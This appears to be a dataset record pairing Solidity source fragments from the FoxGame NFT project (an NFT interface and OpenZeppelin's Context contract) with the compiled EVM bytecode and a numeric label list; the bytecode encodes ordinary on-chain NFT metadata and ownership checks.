██║ ╚██████╔╝██╔╝ ██╗ ╚██████╔╝██║ ██║██║ ╚═╝ ██║███████╗
╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
interface IFoxGameNFT {
enum Kind { RABBIT, FOX, HUNTER }
struct Traits { Kind kind; uint8 advantage; uint8[7] traits; }
function getMaxGEN0Players() external pure returns (uint16);
function getTraits(uint16) external view returns (Traits memory);
function ownerOf(uint256) external view returns (address owner);
function transferFrom(address, address, uint256) external;
function safeTransferFrom(address, address, uint256, bytes memory) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
} | 0x608060405234801561001057600080fd5b506004361061007d5760003560e01c8063a7ccabdf1161005b578063a7ccabdf146100cd578063dd096b6d146100e0578063dd7d8440146100f3578063f2fde38b1461011357600080fd5b8063715018a6146100825780638da5cb5b1461008c5780639bf2ee35146100ac575b600080fd5b61008a610126565b005b6000546040516001600160a01b0390911681526020015b60405180910390f35b6100bf6100ba366004611b5e565b610165565b6040516100a3929190611bf3565b61008a6100db366004611c21565b61029c565b61008a6100ee366004611c62565b6102e8565b610106610101366004611d1f565b61050c565b6040516100a39190611d3c565b61008a610121366004611c21565b610630565b6000546001600160a01b031633146101595760405162461bcd60e51b815260040161015090611d4f565b60405180910390fd5b61016360006106cb565b565b600960209081526000928352604080842090915290825290208054819061018b90611d84565b80601f01602080910402602001604051908101604052809291908181526020018280546101b790611d84565b80156102045780601f106101d957610100808354040283529160200191610204565b820191906000526020600020905b8154815290600101906020018083116101e757829003601f168201915b50505050509080600101805461021990611d84565b80601f016020809104026020016040519081016040528092919081815260200182805461024590611d84565b80156102925780601f1061026757610100808354040283529160200191610292565b820191906000526020600020905b81548152906001019060200180831161027557829003601f168201915b5050505050905082565b6000546001600160a01b031633146102c65760405162461bcd60e51b815260040161015090611d4f565b600880546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146103125760405162461bcd60e51b815260040161015090611d4f565b600282146103565760405162461bcd60e51b81526020600482015260116024820152704d69736d61746368656420696e7075747360781b6044820152606401610150565b60005b60028160ff161015610505576040518060400160405280838360ff166002811061038557610385611dbf565b6020028101906103959190611dd5565b60008181106103a6576103a6611dbf565b90506020028101906103b89190611e26565b8080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152505050908252506020018360ff84166002811061040757610407611dbf565b6020028101906104179190611dd5565b600181811061042857610428611dbf565b905060200281019061043a9190611e26565b8080601f016020809104026020016040519081016040528093929190818152602001838380828437600092018290525093909452505060ff8089168252600960205260408220925087908790861681811061049757610497611dbf565b90506020020160208101906104ac9190611e6d565b60ff1681526020808201929092526040016000208251805191926104d592849290910190611ab6565b5060208281015180516104ee9260018501920190611ab6565b5090505080806104fd90611ea0565b915050610359565b5050505050565b60085460405163043e55e360e41b815261ffff831660048201526060916000916001600160a01b03909116906343e55e309060240161012060405180830381865afa15801561055f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105839190611f22565b9050600060018260000151600281111561059f5761059f611fc1565b60ff16600381106105b2576105b2611dbf565b016105c08561ffff1661071b565b6105d16105cc85610821565b610f6f565b6105db87866110d7565b6040516020016105ee949392919061208d565b604051602081830303815290604052905061060881610f6f565b60405160200161061891906122d5565b60405160208183030381529060405292505050919050565b6000546001600160a01b0316331461065a5760405162461bcd60e51b815260040161015090611d4f565b6001600160a01b0381166106bf5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610150565b6106c8816106cb565b50565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60608161073f5750506040805180820190915260018152600360fc1b602082015290565b8160005b811561076957806107538161231a565b91506107629050600a8361234b565b9150610743565b60008167ffffffffffffffff81111561078457610784611ec0565b6040519080825280601f01601f1916602001820160405280156107ae576020820181803683370190505b5090505b8415610819576107c360018361235f565b91506107d0600a86612376565b6107db90603061238a565b60f81b8183815181106107f0576107f0611dbf565b60200101906001600160f81b031916908160001a905350610812600a8661234b565b94506107b2565b949350505050565b60608060008351600281111561083957610839611fc1565b1415610b63576000808052600960205260408401516109c3917fec8156718a8372b1db44bb411437d0870f3e3790d4a08526d024ce1b0b668f6b91815b602002015160ff1660ff1681526020019081526020016000206040518060400160405290816000820180546108aa90611d84565b80601f01602080910402602001604051908101604052809291908181526020018280546108d690611d84565b80156109235780601f106108f857610100808354040283529160200191610923565b820191906000526020600020905b81548152906001019060200180831161090657829003601f168201915b5050505050815260200160018201805461093c90611d84565b80601f016020809104026020016040519081016040528092919081815260200182805461096890611d84565b80156109b55780601f1061098a576101008083540402835291602001916109b5565b820191906000526020600020905b81548152906001019060200180831161099857829003601f168201915b505050505081525050611a74565b6001600081815260096020526040860151610a01927f92e85d02570a8092d09a6e3a57665bc3815a2699a4074001bf1ccabf660f5a36929190610876565b6002600081815260096020526040870151610a3f927f6cde3cea4b3a3fb2488b2808bae7556f4a405e50f65e1794383bc026131b13c3929190610876565b6003600081815260096020526040880151610a7d927fc575c31fea594a6eb97c8e9d3f9caee4c16218c6ef37e923234c0fe9014a61e7929190610876565b6004600081815260096020526040890151610abb927f8dc18c4ccfd75f5c815b63770fa542fd953e8fef7e0e44bbdd4913470ce7e9cb929190610876565b60056000818152600960205260408a0151610af9927f74b05292d1d4b2b48b65261b07099d24244bcb069f138d9a6bfdcf776becac4c929190610876565b60066000818152600960205260408b0151610b37927fbb6daa0c283751197dfdc76590680f9005e97d6f23870deb1164ab60b28b9f5f929190610876565b604051602001610b4d97969594939291906123a2565b6040516020818303038152906040529050610f47565b600183516002811115610b7857610b78611fc1565b1415610d4f576008600090815260096020526040840151610bbb917fc7694af312c4f286114180fd0ba6a52461fcee8a381636770b19a343af92538a9181610876565b6007600090815260096020526040850151610bf9917fae6299332bcd708cd60e3a8defa55de28078a50a4cf2b3de3a546253240ff9e1916001610876565b600960008181526020919091526040860151610c38917f87e8a52529e8ece4ef759037313542a6429ff494a9fab9027fb79db90124eba6916002610876565b600a600090815260096020526040870151610c76917f502e20e4e219e0c509d693958f17384c185f07a810a5d31c46c2be981e979c25916003610876565b600b600090815260096020526040880151610cb4917f0d9cf2cd531699eed8dd34e40ff2884a14a698c4898184fba85194e6f6772d24916004610876565b600c600090815260096020526040890151610cf2917fc7b54da85b38015141aec405fe9a03fa9e057971f48e8d0d8fc78485848a2310916005610876565b600d6000908152600960209081528a81015160ff1682527fdec90e20065e511a0428d28bf1b6b0d715e4b1cb865c1f0580815586cc6ebf9e905260409081902081518083019092528054610b37929190829082906108aa90611d84565b600e600090815260096020526040840151610d8c917f14f5f4d78ba809fa1eb5eee80339f56eaa489b7b6b892ddb58602e51e8dad7ef9181610876565b600f600090815260096020526040850151610dca917fc6578e0b5f8d37c135f99fcd184697bbb8facaa7556a48605034ca65d4c39fbf916001610876565b6010600090815260096020526040860151610e08917fbe671448d730349025d29d2778ce42e0b1bf32e5fba806216bd490316c20b57d916002610876565b6011600090815260096020526040870151610e46917fe7636fba95dbff23a0d59c2aaba91ac476df033d3d0194af04c6e0be3aa73168916003610876565b6012600090815260096020526040880151610e84917fe84bfcbbf6b4a03922a064640cc123c559d873e4452e4de9b4c8ae3d625b15f0916004610876565b6013600090815260096020526040890151610ec2917f20eb389d0739387175ea0af71ea83e439c1e64b1f1d88bc1a63c293936f1ddf9916005610876565b60146000908152600960209081528a81015160ff1682527f60a5a5a37b4d1dd7d7b24e4897f9467e8debaad1cd5a21b57a3edb667b34643f905260409081902081518083019092528054610f1f929190829082906108aa90611d84565b604051602001610f3597969594939291906123a2565b60405160208183030381529060405290505b80604051602001610f589190612434565b604051602081830303815290604052915050919050565b6060815160001415610f8f57505060408051602081019091526000815290565b60006040518060600160405280604081526020016128086040913990506000600384516002610fbe919061238a565b610fc8919061234b565b610fd3906004612514565b90506000610fe282602061238a565b67ffffffffffffffff811115610ffa57610ffa611ec0565b6040519080825280601f01601f191660200182016040528015611024576020820181803683370190505b509050818152600183018586518101602084015b818310156110925760039283018051603f601282901c811687015160f890811b8552600c83901c8216880151811b6001860152600683901c8216880151811b60028601529116860151901b93820193909352600401611038565b6003895106600181146110ac57600281146110bd576110c9565b613d3d60f01b6001198301526110c9565b603d60f81b6000198301525b509398975050505050505050565b60606000825160028111156110ee576110ee611fc1565b1415611440576040805180820182526003815262233ab960e91b60208083019190915260008080526009909152918401516111f1927fec8156718a8372b1db44bb411437d0870f3e3790d4a08526d024ce1b0b668f6b91815b602002015160ff1660ff168152602001908152602001600020600001805461116e90611d84565b80601f016020809104026020016040519081016040528092919081815260200182805461119a90611d84565b80156111e75780601f106111bc576101008083540402835291602001916111e7565b820191906000526020600020905b8154815290600101906020018083116111ca57829003601f168201915b5050505050611aa1565b60408051808201825260048152635061777360e01b6020808301919091526001600081815260099092529286015161124c937f92e85d02570a8092d09a6e3a57665bc3815a2699a4074001bf1ccabf660f5a36929190611147565b604080518082018252600581526409adeeae8d60db1b602080830191909152600260008181526009909252928701516112a8937f6cde3cea4b3a3fb2488b2808bae7556f4a405e50f65e1794383bc026131b13c3929190611147565b60408051808201825260048152634e6f736560e01b60208083019190915260036000818152600990925292880151611303937fc575c31fea594a6eb97c8e9d3f9caee4c16218c6ef37e923234c0fe9014a61e7929190611147565b6040805180820182526004808252634579657360e01b602080840191909152600082815260099091529289015161135e937f8dc18c4ccfd75f5c815b63770fa542fd953e8fef7e0e44bbdd4913470ce7e9cb92909190611147565b60408051808201825260048152634561727360e01b602080830191909152600560008181526009909252928a01516113b9937f74b05292d1d4b2b48b65261b07099d24244bcb069f138d9a6bfdcf776becac4c929190611147565b60408051808201825260048152631219585960e21b602080830191909152600660008181526009909252928b0151611414937fbb6daa0c283751197dfdc76590680f9005e97d6f23870deb1164ab60b28b9f5f929190611147565b60405160200161142a9796959493929190612533565b604051602081830303815290604052905061195e565b60018251600281111561145557611455611fc1565b14156116c857604080518082018252600481526315185a5b60e21b602080830191909152600760009081526009909152918401516114b5927fae6299332bcd708cd60e3a8defa55de28078a50a4cf2b3de3a546253240ff9e19181611147565b6040805180820182526003815262233ab960e91b6020808301919091526008600090815260099091529185015161150f927fc7694af312c4f286114180fd0ba6a52461fcee8a381636770b19a343af92538a916001611147565b60408051808201825260048152631199595d60e21b60208083019190915260096000818152915291860151611567927f87e8a52529e8ece4ef759037313542a6429ff494a9fab9027fb79db90124eba6916002611147565b60408051808201825260048152634e65636b60e01b602080830191909152600a60009081526009909152918701516115c2927f502e20e4e219e0c509d693958f17384c185f07a810a5d31c46c2be981e979c25916003611147565b604080518082018252600581526409adeeae8d60db1b602080830191909152600b600090815260099091529188015161161e927f0d9cf2cd531699eed8dd34e40ff2884a14a698c4898184fba85194e6f6772d24916004611147565b60408051808201825260048152634579657360e01b602080830191909152600c6000908152600990915291890151611679927fc7b54da85b38015141aec405fe9a03fa9e057971f48e8d0d8fc78485848a2310916005611147565b6114146040518060400160405280600d81526020016c43756e6e696e672053636f726560981b81525060048a6020015160ff16600481106116bc576116bc611dbf565b01805461116e90611d84565b6040805180820182526007815266436c6f7468657360c81b602080830191909152600d6000908152600990915291840151611725927fdec90e20065e511a0428d28bf1b6b0d715e4b1cb865c1f0580815586cc6ebf9e9181611147565b604080518082018252600881526726b0b935b9b6b0b760c11b602080830191909152600e6000908152600990915291850151611784927f14f5f4d78ba809fa1eb5eee80339f56eaa489b7b6b892ddb58602e51e8dad7ef916001611147565b60408051808201825260048152634e65636b60e01b602080830191909152600f60009081526009909152918601516117df927fc6578e0b5f8d37c135f99fcd184697bbb8facaa7556a48605034ca65d4c39fbf916002611147565b604080518082018252600581526409adeeae8d60db1b6020808301919091526010600090815260099091529187015161183b927fbe671448d730349025d29d2778ce42e0b1bf32e5fba806216bd490316c20b57d916003611147565b6040805180820182526004808252634579657360e01b60208084019190915260116000908152600990915292890151611898937fe7636fba95dbff23a0d59c2aaba91ac476df033d3d0194af04c6e0be3aa7316892909190611147565b604080518082018252600381526212185d60ea1b602080830191909152601260009081526009909152918901516118f2927fe84bfcbbf6b4a03922a064640cc123c559d873e4452e4de9b4c8ae3d625b15f0916005611147565b6119366040518060400160405280600e81526020016d4d61726b736d616e2053636f726560901b81525060048a6020015160ff16600481106116bc576116bc611dbf565b60405160200161194c9796959493929190612533565b60405160208183030381529060405290505b6008546040805163eee38a7960e01b8152905183926001600160a01b03169163eee38a799160048083019260209291908290030181865afa1580156119a7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119cb91906125f3565b61ffff168461ffff1611156119ff57604051806040016040528060078152602001661123a2a710189160c91b815250611a20565b604051806040016040528060078152602001661123a2a710181160c91b8152505b83516001906002811115611a3657611a36611fc1565b60ff1660038110611a4957611a49611dbf565b01604051602001611a5c93929190612610565b60405160208183030381529060405290505b92915050565b60608160200151604051602001611a8b91906126c2565b6040516020818303038152906040529050919050565b60608282604051602001611a5c929190612796565b828054611ac290611d84565b90600052602060002090601f016020900481019282611ae45760008555611b2a565b82601f10611afd57805160ff1916838001178555611b2a565b82800160010185558215611b2a579182015b82811115611b2a578251825591602001919060010190611b0f565b50611b36929150611b3a565b5090565b5b80821115611b365760008155600101611b3b565b60ff811681146106c857600080fd5b60008060408385031215611b7157600080fd5b8235611b7c81611b4f565b91506020830135611b8c81611b4f565b809150509250929050565b60005b83811015611bb2578181015183820152602001611b9a565b83811115611bc1576000848401525b50505050565b60008151808452611bdf816020860160208601611b97565b601f01601f19169290920160200192915050565b604081526000611c066040830185611bc7565b8281036020840152611c188185611bc7565b95945050505050565b600060208284031215611c3357600080fd5b81356001600160a01b0381168114611c4a57600080fd5b9392505050565b8060408101831015611a6e57600080fd5b60008060008060608587031215611c7857600080fd5b8435611c8381611b4f565b9350602085013567ffffffffffffffff80821115611ca057600080fd5b818701915087601f830112611cb457600080fd5b813581811115611cc357600080fd5b8860208260051b8501011115611cd857600080fd5b602083019550809450506040870135915080821115611cf657600080fd5b50611d0387828801611c51565b91505092959194509250565b61ffff811681146106c857600080fd5b600060208284031215611d3157600080fd5b8135611c4a81611d0f565b602081526000611c4a6020830184611bc7565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600181811c90821680611d9857607f821691505b60208210811415611db957634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052603260045260246000fd5b6000808335601e19843603018112611dec57600080fd5b83018035915067ffffffffffffffff821115611e0757600080fd5b6020019150600581901b3603821315611e1f57600080fd5b9250929050565b6000808335601e19843603018112611e3d57600080fd5b83018035915067ffffffffffffffff821115611e5857600080fd5b602001915036819003821315611e1f57600080fd5b600060208284031215611e7f57600080fd5b8135611c4a81611b4f565b634e487b7160e01b600052601160045260246000fd5b600060ff821660ff811415611eb757611eb7611e8a565b60010192915050565b634e487b7160e01b600052604160045260246000fd5b6040516060810167ffffffffffffffff81118282101715611ef957611ef9611ec0565b60405290565b60405160e0810167ffffffffffffffff81118282101715611ef957611ef9611ec0565b6000610120808385031215611f3657600080fd5b611f3e611ed6565b835160038110611f4d57600080fd5b8152602084810151611f5e81611b4f565b82820152605f85018613611f7157600080fd5b611f79611eff565b928501928087851115611f8b57600080fd5b604087015b85811015611fb0578051611fa381611b4f565b8352918301918301611f90565b506040840152509095945050505050565b634e487b7160e01b600052602160045260246000fd5b8054600090600181811c9080831680611ff157607f831692505b602080841082141561201357634e487b7160e01b600052602260045260246000fd5b818015612027576001811461203857612065565b60ff19861689528489019650612065565b60008881526020902060005b8681101561205d5781548b820152908501908301612044565b505084890196505b50505050505092915050565b60008151612083818560208601611b97565b9290920192915050565b693d913730b6b2911d101160b11b815260006120ac600a830187611fd7565b61202360f01b815285516120c7816002840160208a01611b97565b7f222c20226465736372697074696f6e223a2022546865206d6574617665727365910160028101919091527f206d61696e6c616e642069732066756c6c206f66206372656174757265732e2060228201527f41726f756e6420746865204661726d2c20616e206162756e64616e6365206f6660428201527f20526162626974732073637572727920746f206861727665737420434152524f60628201527f542e20416c6f6e6773696465204661726d6572732c207468657920657870616e60828201527f6420746865206661726d20616e64206d756c7469706c7920746865697220656160a28201526c726e696e67732e20546865726560981b60c2820152602760f81b60cf8201526122ca6122bd6122b761229b61229560d086017f73206f6e6c79206f6e6520736d616c6c2070726f626c656d202d2d207468652081527f6661726d206861732067726f776e20746f6f2062696720616e642061206e657760208201527f20746872656174206f66206e61747572652068617320656e746572656420746860408201527f652067616d652e222c2022696d616765223a2022646174613a696d6167652f7360608201526d1d99cade1b5b0ed8985cd94d8d0b60921b6080820152608e0190565b89612071565b6f1116101130ba3a3934b13aba32b9911d60811b815260100190565b86612071565b607d60f81b815260010190565b979650505050505050565b7f646174613a6170706c69636174696f6e2f6a736f6e3b6261736536342c00000081526000825161230d81601d850160208701611b97565b91909101601d0192915050565b600060001982141561232e5761232e611e8a565b5060010190565b634e487b7160e01b600052601260045260246000fd5b60008261235a5761235a612335565b500490565b60008282101561237157612371611e8a565b500390565b60008261238557612385612335565b500690565b6000821982111561239d5761239d611e8a565b500190565b6000885160206123b58285838e01611b97565b8951918401916123c88184848e01611b97565b89519201916123da8184848d01611b97565b88519201916123ec8184848c01611b97565b87519201916123fe8184848b01611b97565b86519201916124108184848a01611b97565b85519201916124228184848901611b97565b919091019a9950505050505050505050565b7f3c7376672077696474683d223130302522206865696768743d2231303025222081527f76657273696f6e3d22312e31222076696577426f783d2230203020343020343060208201527f2220786d6c6e733d22687474703a2f2f7777772e77332e6f72672f323030302f60408201527f7376672220786d6c6e733a786c696e6b3d22687474703a2f2f7777772e77332e60608201526f37b93397989c9c9c97bc3634b735911f60811b6080820152600082516124f7816090850160208701611b97565b651e17b9bb339f60d11b6090939091019283015250609601919050565b600081600019048311821515161561252e5761252e611e8a565b500290565b60008851612545818460208d01611b97565b8083019050600b60fa1b8082528951612565816001850160208e01611b97565b600192019182018190528851612582816002850160208d01611b97565b60029201918201819052875161259f816003850160208c01611b97565b6003920191820181905286516125bc816004850160208b01611b97565b60049201918201526125e56125d86122b7816005850189612071565b600b60fa1b815260010190565b9a9950505050505050505050565b60006020828403121561260557600080fd5b8151611c4a81611d0f565b605b60f81b81526000845161262c816001850160208901611b97565b7f7b2274726169745f74797065223a2247656e65726174696f6e222c2276616c756001918401918201526232911d60e91b60218201528451612675816024840160208901611b97565b7f7d2c7b2274726169745f74797065223a2254797065222c2276616c7565223a00602492909101918201526126ad6043820185611fd7565b617d5d60f01b81526002019695505050505050565b7f3c696d61676520783d22342220793d2234222077696474683d2233322220686581527f696768743d2233322220696d6167652d72656e646572696e673d22706978656c60208201527f6174656422207072657365727665417370656374526174696f3d22784d69645960408201527f4d69642220786c696e6b3a687265663d22646174613a696d6167652f706e673b60608201526618985cd94d8d0b60ca1b60808201526000825161277c816087850160208701611b97565b6211179f60e91b6087939091019283015250608a01919050565b6e3d913a3930b4ba2fba3cb832911d1160891b815282516000906127c181600f850160208801611b97565b6a1116113b30b63ab2911d1160a91b600f9184019182015283516127ec81601a840160208801611b97565b61227d60f01b601a9290910191820152601c0194935050505056fe4142434445464748494a4b4c4d4e4f505152535455565758595a6162636465666768696a6b6c6d6e6f707172737475767778797a303132333435363738392b2fa2646970667358221220d2312de90e66a452eec335227ee97d4ac1b56d41d1d7049d925b6ce42841851664736f6c634300080a0033 | [
3,
4
] |